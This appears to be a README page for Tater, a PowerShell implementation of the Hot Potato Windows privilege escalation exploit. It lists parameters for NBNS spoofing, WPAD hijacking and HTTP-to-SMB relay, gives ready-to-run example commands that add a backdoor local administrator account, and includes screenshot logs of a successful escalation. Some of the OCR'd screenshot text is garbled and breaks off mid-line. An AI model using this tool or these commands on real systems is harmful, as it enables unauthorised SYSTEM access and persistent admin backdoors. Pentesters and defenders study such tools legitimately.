## **Tater**

github.com/Kevin-Robertson/Tater

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Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec

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Contributor



Issues

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Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.

#### Credit

All credit goes to @breenmachine, @foxglovesec, Google Project Zero, and anyone else that helped work out the details for this exploit.

Potato - <a href="https://github.com/foxglovesec/Potato">https://github.com/foxglovesec/Potato</a>

#### Included In

- p0wnedShell <a href="https://github.com/Cn33liz/p0wnedShell">https://github.com/Cn33liz/p0wnedShell</a>
- PowerShell Empire <a href="https://github.com/PowerShellEmpire/Empire">https://github.com/PowerShellEmpire/Empire</a>
- PS>Attack <a href="https://github.com/jaredhaight/psattack">https://github.com/jaredhaight/psattack</a>

## **Functions**

#### Invoke-Tater

The main Tater function.

**Parameters** 

- **IP** Specify a specific local IP address. An IP address will be selected automatically if this parameter is not used.
- **SpooferIP** Specify an IP address for NBNS spoofing. This is needed when using two hosts to get around an in-use port 80 on the privesc target.
- **Command** Command to execute as SYSTEM on the localhost. Use PowerShell character escapes where necessary.
- NBNS Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofing.
- **NBNSLimit** Default = Enabled: (Y/N) Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly.
- **ExhaustUDP** Default = Disabled: (Y/N) Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution.
- **HTTPPort** Default = 80: Specify a TCP port for the HTTP listener and redirect response.
- **Hostname** Default = WPAD: Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.
- **WPADDirectHosts** Comma separated list of hosts to list as direct in the wpad.dat file. Note that localhost is always listed as direct.
- **WPADPort** Default = 80: Specify a proxy server port to be included in the wpad.dat file.
- Trigger Default = 1: Trigger type to use in order to trigger HTTP to SMB relay. 0 =
   None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled
   Task
- **TaskDelete** Default = Enabled: (Y/N) Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.
- **Taskname** Default = Tater: Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.
- RunTime Default = Unlimited: (Integer) Set the run time duration in minutes.
- **ConsoleOutput** Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
- **StatusOutput** Default = Enabled: (Y/N) Enable/Disable startup messages.
- **ShowHelp** Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
- **Tool** Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire

## Stop-Tater

Function to manually stop Invoke-Tater.

## Usage

- To import with Import-Module: Import-Module ./Tater.ps1
- To import using dot source method:
  - . ./Tater.ps1

## **Examples**

- Basic trigger 1 example
   Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
- Basic trigger 2 example
   Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
- Two system setup to get around port 80 being in-use on the privesc target
   WPAD System 192.168.10.100 this system will just serve up a wpad.dat file that will direct HTTP traffic on the privesc target to the non-80 HTTP port
   Invoke-Tater -Trigger 0 -NBNS N -WPADPort 8080 -Command "null"

Privesc Target - 192.168.10.101 Invoke-Tater -Command "net user Tater Winter2016 /add && net localgroup administrators Tater /add" -HTTPPort 8080 -SpooferIP 192.168.10.100

#### Screenshots

## Windows 7 using trigger 1 (NBNS WPAD Bruteforce + Windows Defender Signature Updates)

#### Windows 10 using trigger 2 (WebClient Service + Scheduled Task)

```
∠ Windows PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PS C:\WINDOWS\system32>        <mark>Set-ExecutionPolicy</mark>        Unrestricted -Scope CurrentUser
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks described in the about_Execution_Policies help topic at http://go.microsoft.com/fwlink/PLinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y
PS C:\WINDOWS\system32> cd\
PS C:\Users\test\Desktop> cd .\Users\test\Desktop> . .\Tater.ps1
PS C:\Users\test\Desktop> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
  Comment
                                                                  Administrators have complete and unrestricted access to the computer/domain
  Members
  Administrator
  The command completed successfully.
PS C:\Users\test\Desktop> Invoke-Tater -Command "net localgroup admini 2016-01-31T19:27:13 - Tater (Hot Potato Privilege Escalation) started Local IP Address = 192.168.102.114

NBNS Bruteforce Spoofing Disabled Scheduled Task Trigger Enabled Scheduled Task = omg Real Time Console Output Enabled Run Stop-Tater to stop Tater early Use Get-Command -Noun Tater* to show available functions Press any key to stop real time console output
Press any key to stop real time console output

2016-01-31T19:27:13 - Waiting for incoming HTTP connection
2016-01-31T19:27:39 - Adding scheduled task omg
2016-01-31T19:27:39 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T19:27:39 - Attempting to redirect to http://localhost/gethashes and trigger relay
2016-01-31T19:27:39 - HTTP request for /festHASHES received from 127.0.0.1
2016-01-31T19:27:44 - HTTP to SMB relay triggered by 127.0.0.1
2016-01-31T19:27:44 - Grabbing challenge for relay from 127.0.0.1
2016-01-31T19:27:45 - Received challenge D13E30Al1DD0EB6E for relay from 127.0.0.1
2016-01-31T19:27:45 - Providing challenge D13E30Al1DD0EB6E for relay to 127.0.0.1
2016-01-31T19:27:46 - Sending response for \ for relay to 127.0.0.1
2016-01-31T19:27:46 - SmB relay service TJEGTQXTSEDRBIHCTOCD created on 127.0.0.1
2016-01-31T19:27:46 - SMB relay service TJEGTQXTSEDRBIHCTOCD created on 127.0.0.1
2016-01-31T19:27:46 - SMB relay disabled due to success
2016-01-31T19:27:46 - SMB relay disabled due to success
2016-01-31T19:27:47 - Attempting to stop HTTP listener
2016-01-31T19:27:47 - Attempting to stop HTTP listener
2016-01-31T19:27:50 - Tater was successful and has exited
PS C:\Users\test\besktop> net localgroup administrators
Administrators have complete and unrestricted access to the computer/domain
                                                                   administrators
Administrators have complete and unrestricted access to the computer/domain
   Members
   Administrator
  kevin
 The command completed successfully.
```

#### Windows 7 using trigger 1 and UDP port exhaustion

```
EX Windows PowerShell

PS C: VIsere New in Nees top) Invoke Tater - Command "net user tater Winter2016 /add && net localgroup administrators tater / add" - exhaustudp y 2016-01-31122:37:07 - Tater (Hot Potato Privilege Escalation) started Local IP Address = 10.2.103 SUP Rotates = 10.2.103 SUP Rota
```